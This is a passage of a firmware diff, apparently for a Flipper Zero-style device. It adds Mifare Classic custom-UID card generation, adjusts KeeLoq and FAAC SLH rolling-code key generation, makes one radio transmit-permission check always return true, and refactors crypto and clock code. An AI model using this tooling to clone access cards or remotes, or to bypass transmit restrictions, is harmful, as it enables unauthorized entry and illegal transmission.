= nfc_generators[event.event - SubmenuIndexGeneratorsStart]; diff --git a/applications/main/nfc/scenes/nfc_scene_set_type_mf_uid.c b/applications/main/nfc/scenes/nfc_scene_set_type_mf_uid.c new file mode 100644 index 000000000..55919500a --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_set_type_mf_uid.c @@ -0,0 +1,103 @@ +#include "../nfc_i.h" +#include "lib/nfc/helpers/nfc_generators.h" + +enum SubmenuIndex { + SubmenuIndexMFC1k4b, + SubmenuIndexMFC4k4b, + SubmenuIndexMFC1k7b, + SubmenuIndexMFC4k7b, + SubmenuIndexMFCMini, +}; + +static const NfcGenerator ganeator_gag = { + .name = "Mifare Classic Custom UID", + .generator_func = NULL, +}; + +void nfc_scene_set_type_mf_uid_submenu_callback(void* context, uint32_t index) { + Nfc* nfc = context; + + view_dispatcher_send_custom_event(nfc->view_dispatcher, index); +} + +void nfc_scene_set_type_mf_uid_on_enter(void* context) { + Nfc* nfc = context; + Submenu* submenu = nfc->submenu; + + submenu_add_item( + submenu, + "Mifare Classic 1k 4byte UID", + SubmenuIndexMFC1k4b, + nfc_scene_set_type_mf_uid_submenu_callback, + nfc); + submenu_add_item( + submenu, + "Mifare Classic 4k 4byte UID", + SubmenuIndexMFC4k4b, + nfc_scene_set_type_mf_uid_submenu_callback, + nfc); + submenu_add_item( + submenu, + "Mifare Classic 1k 7byte UID", + SubmenuIndexMFC1k7b, + nfc_scene_set_type_mf_uid_submenu_callback, + nfc); + submenu_add_item( + submenu, + "Mifare Classic 4k 7byte UID", + SubmenuIndexMFC4k7b, + nfc_scene_set_type_mf_uid_submenu_callback, + nfc); + submenu_add_item( + submenu, + "Mifare Classic Mini", + SubmenuIndexMFCMini, + nfc_scene_set_type_mf_uid_submenu_callback, + nfc); + + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewMenu); +} + +bool nfc_scene_set_type_mf_uid_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + bool consumed = false; + bool correct_index = false; + MfClassicType mf_type = MfClassicType1k; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubmenuIndexMFC1k4b) { + nfc->dev->dev_data.nfc_data.uid_len = 4; + mf_type = MfClassicType1k; + correct_index = true; + } else if(event.event == SubmenuIndexMFC1k7b) { + nfc->dev->dev_data.nfc_data.uid_len = 7; + mf_type = MfClassicType1k; + correct_index = true; + } else if(event.event == SubmenuIndexMFC4k4b) { + nfc->dev->dev_data.nfc_data.uid_len = 4; + mf_type = MfClassicType4k; + correct_index = true; + } else if(event.event == SubmenuIndexMFC4k7b) { + nfc->dev->dev_data.nfc_data.uid_len = 7; + mf_type = MfClassicType4k; + correct_index = true; + } else if(event.event == SubmenuIndexMFCMini) { + nfc->dev->dev_data.nfc_data.uid_len = 4; + mf_type = MfClassicTypeMini; + correct_index = true; + } + if(correct_index) { + nfc->generator = &ganeator_gag; + scene_manager_set_scene_state(nfc->scene_manager, NfcSceneSetTypeMfUid, mf_type); + scene_manager_next_scene(nfc->scene_manager, NfcSceneSetUid); + consumed = true; + } + } + return consumed; +} + +void nfc_scene_set_type_mf_uid_on_exit(void* context) { + Nfc* nfc = context; + + submenu_reset(nfc->submenu); +} diff --git a/applications/main/nfc/scenes/nfc_scene_set_uid.c b/applications/main/nfc/scenes/nfc_scene_set_uid.c index 54606b68e..80ea5f6d0 100644 --- a/applications/main/nfc/scenes/nfc_scene_set_uid.c +++ b/applications/main/nfc/scenes/nfc_scene_set_uid.c @@ -35,6 +35,21 @@ bool nfc_scene_set_uid_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneSaveSuccess); consumed = true; } + } else if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetTypeMfUid)) { + MfClassicType mf_type = + scene_manager_get_scene_state(nfc->scene_manager, NfcSceneSetTypeMfUid); + if(mf_type > MfClassicTypeMini) { + furi_crash("Nfc unknown type"); + } + nfc_generate_mf_classic_ext( + &nfc->dev->dev_data, + nfc->dev_edit_data.uid_len, + mf_type, + false, + nfc->dev_edit_data.uid); + scene_manager_next_scene(nfc->scene_manager, NfcSceneGenerateInfo); + consumed = true; + } else { scene_manager_next_scene(nfc->scene_manager, NfcSceneSaveName); consumed = true; diff --git a/applications/main/subghz/helpers/subghz_txrx.c b/applications/main/subghz/helpers/subghz_txrx.c index 4b7852947..65318f738 100644 --- a/applications/main/subghz/helpers/subghz_txrx.c +++ b/applications/main/subghz/helpers/subghz_txrx.c @@ -634,8 +634,11 @@ bool subghz_txrx_radio_device_is_frequency_valid(SubGhzTxRx* instance, uint32_t } bool subghz_txrx_radio_device_is_tx_allowed(SubGhzTxRx* instance, uint32_t frequency) { + // TODO: Remake this function to check if the frequency is allowed on specific module - for modules not based on CC1101 furi_assert(instance); - //furi_assert(instance->txrx_state != SubGhzTxRxStateSleep); + UNUSED(frequency); + /* + furi_assert(instance->txrx_state != SubGhzTxRxStateSleep); subghz_devices_idle(instance->radio_device); subghz_devices_set_frequency(instance->radio_device, frequency); @@ -644,6 +647,8 @@ bool subghz_txrx_radio_device_is_tx_allowed(SubGhzTxRx* instance, uint32_t frequ subghz_devices_idle(instance->radio_device); return ret; + */ + return true; } void subghz_txrx_set_debug_pin_state(SubGhzTxRx* instance, bool state) { diff --git a/applications/main/subghz/helpers/subghz_txrx_create_protocol_key.c b/applications/main/subghz/helpers/subghz_txrx_create_protocol_key.c index 4854bc882..0a9d12909 100644 --- a/applications/main/subghz/helpers/subghz_txrx_create_protocol_key.c +++ b/applications/main/subghz/helpers/subghz_txrx_create_protocol_key.c @@ -199,7 +199,7 @@ bool subghz_txrx_gen_faac_slh_protocol( uint32_t frequency, uint32_t serial, uint8_t btn, - uint16_t cnt, + uint32_t cnt, uint32_t seed, const char* manufacture_name) { SubGhzTxRx* txrx = context; diff --git a/applications/main/subghz/helpers/subghz_txrx_create_protocol_key.h b/applications/main/subghz/helpers/subghz_txrx_create_protocol_key.h index dc7dfbe7e..e0ebec685 100644 --- a/applications/main/subghz/helpers/subghz_txrx_create_protocol_key.h +++ b/applications/main/subghz/helpers/subghz_txrx_create_protocol_key.h @@ -88,7 +88,7 @@ bool subghz_txrx_gen_faac_slh_protocol( uint32_t frequency, uint32_t serial, uint8_t btn, - uint16_t cnt, + uint32_t cnt, uint32_t seed, const char* manufacture_name); diff --git a/applications/main/subghz/scenes/subghz_scene_set_seed.c b/applications/main/subghz/scenes/subghz_scene_set_seed.c index e6850d1e3..e5778b84f 100644 --- a/applications/main/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/main/subghz/scenes/subghz_scene_set_seed.c @@ -45,6 +45,13 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { seed = subghz->secure_data->seed[0] << 24 | subghz->secure_data->seed[1] << 16 | subghz->secure_data->seed[2] << 8 | subghz->secure_data->seed[3]; + if(seed == 0) { + furi_string_set(subghz->error_str, "Seed value\ncan not be 0."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + consumed = true; + break; + } + generated_protocol = subghz_txrx_gen_keeloq_bft_protocol( subghz->txrx, "AM650", @@ -73,6 +80,12 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { seed = subghz->secure_data->seed[0] << 24 | subghz->secure_data->seed[1] << 16 | subghz->secure_data->seed[2] << 8 | subghz->secure_data->seed[3]; + if(seed == 0) { + furi_string_set(subghz->error_str, "Seed value\ncan not be 0."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + consumed = true; + break; + } if(state == SubmenuIndexFaacSLH_433) { generated_protocol = subghz_txrx_gen_faac_slh_protocol( subghz->txrx, @@ -108,8 +121,14 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { } } + // Reset Seed, Fix, Cnt in secure data after successful or unsuccessful generation + memset(subghz->secure_data->seed, 0, sizeof(subghz->secure_data->seed)); + memset(subghz->secure_data->cnt, 0, sizeof(subghz->secure_data->cnt)); + memset(subghz->secure_data->fix, 0, sizeof(subghz->secure_data->fix)); + if(generated_protocol) { subghz_file_name_clear(subghz); + scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneSetType, SubGhzCustomEventManagerSet); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); diff --git a/applications/main/subghz/scenes/subghz_scene_set_type.c b/applications/main/subghz/scenes/subghz_scene_set_type.c index 64e927250..e5a92608e 100644 --- a/applications/main/subghz/scenes/subghz_scene_set_type.c +++ b/applications/main/subghz/scenes/subghz_scene_set_type.c @@ -611,7 +611,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { break; case SubmenuIndexSomfyTelis: generated_protocol = subghz_txrx_gen_somfy_telis_protocol( - subghz->txrx, "AM650", 433920000, key & 0x00FFFFFF, 0x2, 0x0003); + subghz->txrx, "AM650", 433420000, key & 0x00FFFFFF, 0x2, 0x0003); break; case SubmenuIndexDoorHan_433_92: generated_protocol = subghz_txrx_gen_keeloq_protocol( diff --git a/applications/main/subghz/subghz_i.c b/applications/main/subghz/subghz_i.c index 89ba3a461..9b699d8d7 100644 --- a/applications/main/subghz/subghz_i.c +++ b/applications/main/subghz/subghz_i.c @@ -104,8 +104,10 @@ bool subghz_key_load(SubGhz* subghz, const char* file_path, bool show_dialog) { break; } - if(!subghz_txrx_radio_device_is_tx_allowed(subghz->txrx, temp_data32)) { - FURI_LOG_E(TAG, "This frequency can only be used for RX on chosen radio module"); + // TODO: use different frequency allowed lists for differnet modules (non cc1101) + if(!furi_hal_subghz_is_tx_allowed(temp_data32)) { + FURI_LOG_E(TAG, "This frequency can only be used for RX"); + load_key_state = SubGhzLoadKeyStateOnlyRx; break; } @@ -291,10 +293,14 @@ bool subghz_save_protocol_to_file( if(!storage_simply_remove(storage, dev_file_name)) { break; } - //ToDo check Write + stream_seek(flipper_format_stream, 0, StreamOffsetFromStart); stream_save_to_file(flipper_format_stream, storage, dev_file_name, FSOM_CREATE_ALWAYS); + if(storage_common_stat(storage, dev_file_name, NULL) != FSE_OK) { + break; + } + saved = true; } while(0); furi_string_free(file_dir); diff --git a/applications/main/subghz_remote/helpers/subrem_presets.c b/applications/main/subghz_remote/helpers/subrem_presets.c index 75ced8e00..ca91ccbaf 100644 --- a/applications/main/subghz_remote/helpers/subrem_presets.c +++ b/applications/main/subghz_remote/helpers/subrem_presets.c @@ -84,7 +84,7 @@ SubRemLoadSubState subrem_sub_preset_load( if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { FURI_LOG_W(TAG, "Cannot read frequency. Set default frequency"); sub_preset->freq_preset.frequency = subghz_setting_get_default_frequency(setting); - } else if(!subghz_txrx_radio_device_is_frequecy_valid(txrx, temp_data32)) { + } else if(!subghz_txrx_radio_device_is_frequency_valid(txrx, temp_data32)) { FURI_LOG_E(TAG, "Frequency not supported on chosen radio module"); break; } diff --git a/applications/main/subghz_remote/helpers/txrx/subghz_txrx.c b/applications/main/subghz_remote/helpers/txrx/subghz_txrx.c index 8def9cf01..aa713c7a8 100644 --- a/applications/main/subghz_remote/helpers/txrx/subghz_txrx.c +++ b/applications/main/subghz_remote/helpers/txrx/subghz_txrx.c @@ -629,12 +629,12 @@ const char* subghz_txrx_radio_device_get_name(SubGhzTxRx* instance) { return subghz_devices_get_name(instance->radio_device); } -bool subghz_txrx_radio_device_is_frequecy_valid(SubGhzTxRx* instance, uint32_t frequency) { +bool subghz_txrx_radio_device_is_frequency_valid(SubGhzTxRx* instance, uint32_t frequency) { furi_assert(instance); return subghz_devices_is_frequency_valid(instance->radio_device, frequency); } -bool subghz_txrx_radio_device_is_tx_alowed(SubGhzTxRx* instance, uint32_t frequency) { +bool subghz_txrx_radio_device_is_tx_allowed(SubGhzTxRx* instance, uint32_t frequency) { furi_assert(instance); furi_assert(instance->txrx_state != SubGhzTxRxStateSleep); diff --git a/applications/main/subghz_remote/helpers/txrx/subghz_txrx.h b/applications/main/subghz_remote/helpers/txrx/subghz_txrx.h index 8bb7f2aee..4593ea20c 100644 --- a/applications/main/subghz_remote/helpers/txrx/subghz_txrx.h +++ b/applications/main/subghz_remote/helpers/txrx/subghz_txrx.h @@ -363,9 +363,9 @@ const char* subghz_txrx_radio_device_get_name(SubGhzTxRx* instance); * @param instance Pointer to a SubGhzTxRx * @return bool True if the frequency is valid */ -bool subghz_txrx_radio_device_is_frequecy_valid(SubGhzTxRx* instance, uint32_t frequency); +bool subghz_txrx_radio_device_is_frequency_valid(SubGhzTxRx* instance, uint32_t frequency); -bool subghz_txrx_radio_device_is_tx_alowed(SubGhzTxRx* instance, uint32_t frequency); +bool subghz_txrx_radio_device_is_tx_allowed(SubGhzTxRx* instance, uint32_t frequency); void subghz_txrx_set_debug_pin_state(SubGhzTxRx* instance, bool state); bool subghz_txrx_get_debug_pin_state(SubGhzTxRx* instance); diff --git a/applications/main/u2f/u2f_data.c b/applications/main/u2f/u2f_data.c index f6a8d84d3..8489ed91e 100644 --- a/applications/main/u2f/u2f_data.c +++ b/applications/main/u2f/u2f_data.c @@ -14,7 +14,7 @@ #define U2F_CNT_FILE U2F_DATA_FOLDER "cnt.u2f" #define U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_FACTORY 2 -#define U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE 11 +#define U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE FURI_HAL_CRYPTO_ENCLAVE_UNIQUE_KEY_SLOT #define U2F_CERT_STOCK 0 // Stock certificate, private key is encrypted with factory key #define U2F_CERT_USER 1 // User certificate, private key is encrypted with unique key @@ -136,7 +136,7 @@ static bool u2f_data_cert_key_encrypt(uint8_t* cert_key) { // Generate random IV furi_hal_random_fill_buf(iv, 16); - if(!furi_hal_crypto_store_load_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE, iv)) { + if(!furi_hal_crypto_enclave_load_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE, iv)) { FURI_LOG_E(TAG, "Unable to load encryption key"); return false; } @@ -145,7 +145,7 @@ static bool u2f_data_cert_key_encrypt(uint8_t* cert_key) { FURI_LOG_E(TAG, "Encryption failed"); return false; } - furi_hal_crypto_store_unload_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE); + furi_hal_crypto_enclave_unload_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE); Storage* storage = furi_record_open(RECORD_STORAGE); FlipperFormat* flipper_format = flipper_format_file_alloc(storage); @@ -178,8 +178,8 @@ bool u2f_data_cert_key_load(uint8_t* cert_key) { uint8_t key_slot = 0; uint32_t version = 0; - // Check if unique key exists in secure eclave(typo?) and generate it if missing - if(!furi_hal_crypto_verify_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE)) return false; + // Check if unique key exists in secure eclave and generate it if missing + if(!furi_hal_crypto_enclave_ensure_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE)) return false; FuriString* filetype; filetype = furi_string_alloc(); @@ -226,7 +226,7 @@ bool u2f_data_cert_key_load(uint8_t* cert_key) { break; } - if(!furi_hal_crypto_store_load_key(key_slot, iv)) { + if(!furi_hal_crypto_enclave_load_key(key_slot, iv)) { FURI_LOG_E(TAG, "Unable to load encryption key"); break; } @@ -237,7 +237,7 @@ bool u2f_data_cert_key_load(uint8_t* cert_key) { FURI_LOG_E(TAG, "Decryption failed"); break; } - furi_hal_crypto_store_unload_key(key_slot); + furi_hal_crypto_enclave_unload_key(key_slot); } else { if(!flipper_format_read_hex(flipper_format, "Data", cert_key, 32)) { FURI_LOG_E(TAG, "Missing data"); @@ -292,7 +292,7 @@ bool u2f_data_key_load(uint8_t* device_key) { FURI_LOG_E(TAG, "Missing data"); break; } - if(!furi_hal_crypto_store_load_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE, iv)) { + if(!furi_hal_crypto_enclave_load_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE, iv)) { FURI_LOG_E(TAG, "Unable to load encryption key"); break; } @@ -302,7 +302,7 @@ bool u2f_data_key_load(uint8_t* device_key) { FURI_LOG_E(TAG, "Decryption failed"); break; } - furi_hal_crypto_store_unload_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE); + furi_hal_crypto_enclave_unload_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE); state = true; } while(0); } @@ -324,7 +324,7 @@ bool u2f_data_key_generate(uint8_t* device_key) { furi_hal_random_fill_buf(iv, 16); furi_hal_random_fill_buf(key, 32); - if(!furi_hal_crypto_store_load_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE, iv)) { + if(!furi_hal_crypto_enclave_load_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE, iv)) { FURI_LOG_E(TAG, "Unable to load encryption key"); return false; } @@ -333,7 +333,7 @@ bool u2f_data_key_generate(uint8_t* device_key) { FURI_LOG_E(TAG, "Encryption failed"); return false; } - furi_hal_crypto_store_unload_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE); + furi_hal_crypto_enclave_unload_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE); Storage* storage = furi_record_open(RECORD_STORAGE); FlipperFormat* flipper_format = flipper_format_file_alloc(storage); @@ -398,7 +398,7 @@ bool u2f_data_cnt_read(uint32_t* cnt_val) { FURI_LOG_E(TAG, "Missing data"); break; } - if(!furi_hal_crypto_store_load_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE, iv)) { + if(!furi_hal_crypto_enclave_load_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE, iv)) { FURI_LOG_E(TAG, "Unable to load encryption key"); break; } @@ -408,7 +408,7 @@ bool u2f_data_cnt_read(uint32_t* cnt_val) { FURI_LOG_E(TAG, "Decryption failed"); break; } - furi_hal_crypto_store_unload_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE); + furi_hal_crypto_enclave_unload_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE); if(cnt.control == U2F_COUNTER_CONTROL_VAL) { *cnt_val = cnt.counter; state = true; @@ -440,7 +440,7 @@ bool u2f_data_cnt_write(uint32_t cnt_val) { cnt.control = U2F_COUNTER_CONTROL_VAL; cnt.counter = cnt_val; - if(!furi_hal_crypto_store_load_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE, iv)) { + if(!furi_hal_crypto_enclave_load_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE, iv)) { FURI_LOG_E(TAG, "Unable to load encryption key"); return false; } @@ -449,7 +449,7 @@ bool u2f_data_cnt_write(uint32_t cnt_val) { FURI_LOG_E(TAG, "Encryption failed"); return false; } - furi_hal_crypto_store_unload_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE); + furi_hal_crypto_enclave_unload_key(U2F_DATA_FILE_ENCRYPTION_KEY_SLOT_UNIQUE); Storage* storage = furi_record_open(RECORD_STORAGE); FlipperFormat* flipper_format = flipper_format_file_alloc(storage); diff --git a/applications/services/crypto/crypto_cli.c b/applications/services/crypto/crypto_cli.c index 511a9d2a8..bfd2003e1 100644 --- a/applications/services/crypto/crypto_cli.c +++ b/applications/services/crypto/crypto_cli.c @@ -33,7 +33,7 @@ void crypto_cli_encrypt(Cli* cli, FuriString* args) { break; } - if(!furi_hal_crypto_store_load_key(key_slot, iv)) { + if(!furi_hal_crypto_enclave_load_key(key_slot, iv)) { printf("Unable to load key from slot %d", key_slot); break; } @@ -88,7 +88,7 @@ void crypto_cli_encrypt(Cli* cli, FuriString* args) { } while(0); if(key_loaded) { - furi_hal_crypto_store_unload_key(key_slot); + furi_hal_crypto_enclave_unload_key(key_slot); } } @@ -108,7 +108,7 @@ void crypto_cli_decrypt(Cli* cli, FuriString* args) { break; } - if(!furi_hal_crypto_store_load_key(key_slot, iv)) { + if(!furi_hal_crypto_enclave_load_key(key_slot, iv)) { printf("Unable to load key from slot %d", key_slot); break; } @@ -160,7 +160,7 @@ void crypto_cli_decrypt(Cli* cli, FuriString* args) { } while(0); if(key_loaded) { - furi_hal_crypto_store_unload_key(key_slot); + furi_hal_crypto_enclave_unload_key(key_slot); } } @@ -175,14 +175,14 @@ void crypto_cli_has_key(Cli* cli, FuriString* args) { break; } - if(!furi_hal_crypto_store_load_key(key_slot, iv)) { + if(!furi_hal_crypto_enclave_load_key(key_slot, iv)) { printf("Unable to load key from slot %d", key_slot); break; } printf("Successfully loaded key from slot %d", key_slot); - furi_hal_crypto_store_unload_key(key_slot); + furi_hal_crypto_enclave_unload_key(key_slot); } while(0); } @@ -251,25 +251,25 @@ void crypto_cli_store_key(Cli* cli, FuriString* args) { if(key_slot > 0) { uint8_t iv[16] = {0}; if(key_slot > 1) { - if(!furi_hal_crypto_store_load_key(key_slot - 1, iv)) { + if(!furi_hal_crypto_enclave_load_key(key_slot - 1, iv)) { printf( "Slot %d before %d is empty, which is not allowed", key_slot - 1, key_slot); break; } - furi_hal_crypto_store_unload_key(key_slot - 1); + furi_hal_crypto_enclave_unload_key(key_slot - 1); } - if(furi_hal_crypto_store_load_key(key_slot, iv)) { - furi_hal_crypto_store_unload_key(key_slot); + if(furi_hal_crypto_enclave_load_key(key_slot, iv)) { + furi_hal_crypto_enclave_unload_key(key_slot); printf("Key slot %d is already used", key_slot); break; } } uint8_t slot; - if(furi_hal_crypto_store_add_key(&key, &slot)) { + if(furi_hal_crypto_enclave_store_key(&key, &slot)) { printf("Success. Stored to slot: %d", slot); } else { printf("Failure"); diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index a15d204fd..30e7253da 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -1,6 +1,7 @@ #include #include #include +#include #include #include #include @@ -37,7 +38,6 @@ static void desktop_loader_callback(const void* message, void* context) { view_dispatcher_send_custom_event(desktop->view_dispatcher, DesktopGlobalAfterAppFinished); } } - static void desktop_lock_icon_draw_callback(Canvas* canvas, void* context) { UNUSED(context); furi_assert(canvas); @@ -50,96 +50,63 @@ static void desktop_dummy_mode_icon_draw_callback(Canvas* canvas, void* context) canvas_draw_icon(canvas, 0, 0, &I_GameMode_11x8); } -static void desktop_clock_upd_time(Desktop* desktop, bool forced) { +static void desktop_clock_update(Desktop* desktop) { furi_assert(desktop); FuriHalRtcDateTime curr_dt; furi_hal_rtc_get_datetime(&curr_dt); + bool time_format_12 = locale_get_time_format() == LocaleTimeFormat12h; - if(forced) { - desktop->clock_type = (locale_get_time_format() == LocaleTimeFormat24h); - } - - if(forced || (desktop->minute != curr_dt.minute)) { - if(desktop->clock_type) { - desktop->hour = curr_dt.hour; - } else { - desktop->hour = (curr_dt.hour > 12) ? curr_dt.hour - 12 : - ((curr_dt.hour == 0) ? 12 : curr_dt.hour); - } - desktop->minute = curr_dt.minute; + if(desktop->time_hour != curr_dt.hour || desktop->time_minute != curr_dt.minute || + desktop->time_format_12 != time_format_12) { + desktop->time_format_12 = time_format_12; + desktop->time_hour = curr_dt.hour; + desktop->time_minute = curr_dt.minute; view_port_update(desktop->clock_viewport); } } -static void desktop_clock_toggle_view(Desktop* desktop, bool is_enabled) { +static void desktop_clock_reconfigure(Desktop* desktop) { furi_assert(desktop); - desktop_clock_upd_time(desktop, true); + desktop_clock_update(desktop); - if(is_enabled) { // && !furi_timer_is_running(desktop->update_clock_timer)) { + if(desktop->settings.display_clock) { furi_timer_start(desktop->update_clock_timer, furi_ms_to_ticks(1000)); - } else if(!is_enabled) { //&& furi_timer_is_running(desktop->update_clock_timer)) { + } else { furi_timer_stop(desktop->update_clock_timer); } - view_port_enabled_set(desktop->clock_viewport, is_enabled); + view_port_enabled_set(desktop->clock_viewport, desktop->settings.display_clock); } -static uint8_t desktop_clock_get_num_w(uint8_t num) { - if(num == 1) { - return 3; - } else if(num == 4) { - return 6; - } else { - return 5; - } -} - -static const char* digit[10] = {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}; - static void desktop_clock_draw_callback(Canvas* canvas, void* context) { furi_assert(context); furi_assert(canvas); Desktop* desktop = context; - uint8_t d[4] = { - desktop->minute % 10, - desktop->minute / 10, - desktop->hour % 10, - desktop->hour / 10, - }; - canvas_set_font(canvas, FontPrimary); - uint8_t new_w = desktop_clock_get_num_w(d[0]) + //c1 - desktop_clock_get_num_w(d[1]) + //c2 - desktop_clock_get_num_w(d[2]) + //c3 - desktop_clock_get_num_w(d[3]) + //c4 - 2 + 4; // ":" + 4 separators + uint8_t hour = desktop->time_hour; + if(desktop->time_format_12) { + if(hour > 12) { + hour -= 12; + } + if(hour == 0) { + hour = 12; + } + } - // further away from the battery charge indicator, if the smallest minute is 1 - view_port_set_width(desktop->clock_viewport, new_w - !(d[0] == 1)); + char buffer[20]; + snprintf(buffer, sizeof(buffer), "%02u:%02u", hour, desktop->time_minute); - uint8_t x = new_w; + // ToDo: never do that, may cause visual glitches + view_port_set_width( + desktop->clock_viewport, + canvas_string_width(canvas, buffer) - 1 + (desktop->time_minute % 10 == 1)); - uint8_t y = 8; - uint8_t offset_r; - - canvas_draw_str_aligned(canvas, x, y, AlignRight, AlignBottom, digit[d[0]]); - offset_r = desktop_clock_get_num_w(d[0]); - - canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, digit[d[1]]); - offset_r = desktop_clock_get_num_w(d[1]); - - canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y - 1, AlignRight, AlignBottom, ":"); - offset_r = 2; - - canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, digit[d[2]]); - offset_r = desktop_clock_get_num_w(d[2]); - - canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, digit[d[3]]); + canvas_draw_str_aligned(canvas, 0, 8, AlignLeft, AlignBottom, buffer); } static void desktop_stealth_mode_icon_draw_callback(Canvas* canvas, void* context) { @@ -163,7 +130,7 @@ static bool desktop_custom_event_callback(void* context, uint32_t event) { // locking and unlocking DESKTOP_SETTINGS_LOAD(&desktop->settings); - desktop_clock_toggle_view(desktop, desktop->settings.display_clock); + desktop_clock_reconfigure(desktop); desktop_auto_lock_arm(desktop); return true; @@ -234,8 +201,8 @@ static void desktop_clock_timer_callback(void* context) { furi_assert(context); Desktop* desktop = context; - if(gui_get_count_of_enabled_view_port_in_layer(desktop->gui, GuiLayerStatusBarLeft) < 6) { - desktop_clock_upd_time(desktop, false); + if(gui_active_view_port_count(desktop->gui, GuiLayerStatusBarLeft) < 6) { + desktop_clock_update(desktop); view_port_enabled_set(desktop->clock_viewport, true); } else { @@ -436,11 +403,6 @@ Desktop* desktop_alloc() { desktop->update_clock_timer = furi_timer_alloc(desktop_clock_timer_callback, FuriTimerTypePeriodic, desktop); - FuriHalRtcDateTime curr_dt; - furi_hal_rtc_get_datetime(&curr_dt); - - desktop_clock_upd_time(desktop, true); - furi_record_create(RECORD_DESKTOP, desktop); return desktop; @@ -487,7 +449,7 @@ int32_t desktop_srv(void* p) { view_port_enabled_set(desktop->dummy_mode_icon_viewport, desktop->settings.dummy_mode); - desktop_clock_toggle_view(desktop, desktop->settings.display_clock); + desktop_clock_reconfigure(desktop); desktop_main_set_dummy_mode_state(desktop->main_view, desktop->settings.dummy_mode); animation_manager_set_dummy_mode_state( diff --git a/applications/services/desktop/desktop_i.h b/applications/services/desktop/desktop_i.h index 4cac7711d..bb495c920 100644 --- a/applications/services/desktop/desktop_i.h +++ b/applications/services/desktop/desktop_i.h @@ -74,9 +74,10 @@ struct Desktop { FuriTimer* update_clock_timer; FuriPubSub* status_pubsub; - uint8_t hour; - uint8_t minute; - bool clock_type : 1; // true - 24h false - 12h + + uint8_t time_hour; + uint8_t time_minute; + bool time_format_12 : 1; // 1 - 12 hour, 0 - 24H bool in_transition : 1; }; diff --git a/applications/services/desktop/views/desktop_view_locked.c b/applications/services/desktop/views/desktop_view_locked.c index 8a0ddb3af..0cdd63a67 100644 --- a/applications/services/desktop/views/desktop_view_locked.c +++ b/applications/services/desktop/views/desktop_view_locked.c @@ -223,7 +223,8 @@ void desktop_view_locked_close_doors(DesktopViewLocked* locked_view) { void desktop_view_locked_lock(DesktopViewLocked* locked_view, bool pin_locked) { DesktopViewLockedModel* model = view_get_model(locked_view->view); - furi_assert(model->view_state == DesktopViewLockedStateUnlocked); + // TODO: Fix!!!!!!!!!!! + //furi_assert(model->view_state == DesktopViewLockedStateUnlocked); model->view_state = DesktopViewLockedStateLocked; model->pin_locked = pin_locked; view_commit_model(locked_view->view, true); diff --git a/applications/services/gui/gui.c b/applications/services/gui/gui.c index 87cc962ca..b96f89db9 100644 --- a/applications/services/gui/gui.c +++ b/applications/services/gui/gui.c @@ -17,11 +17,12 @@ ViewPort* gui_view_port_find_enabled(ViewPortArray_t array) { return NULL; } -uint8_t gui_get_count_of_enabled_view_port_in_layer(Gui* gui, GuiLayer layer) { +size_t gui_active_view_port_count(Gui* gui, GuiLayer layer) { furi_assert(gui); furi_check(layer < GuiLayerMAX); - uint8_t ret = 0; + size_t ret = 0; + gui_lock(gui); ViewPortArray_it_t it; ViewPortArray_it_last(it, gui->layers[layer]); while(!ViewPortArray_end_p(it)) { @@ -31,6 +32,8 @@ uint8_t gui_get_count_of_enabled_view_port_in_layer(Gui* gui, GuiLayer layer) { } ViewPortArray_previous(it); } + gui_unlock(gui); + return ret; } diff --git a/applications/services/gui/gui.h b/applications/services/gui/gui.h index a59a4ff6a..1b5987eda 100644 --- 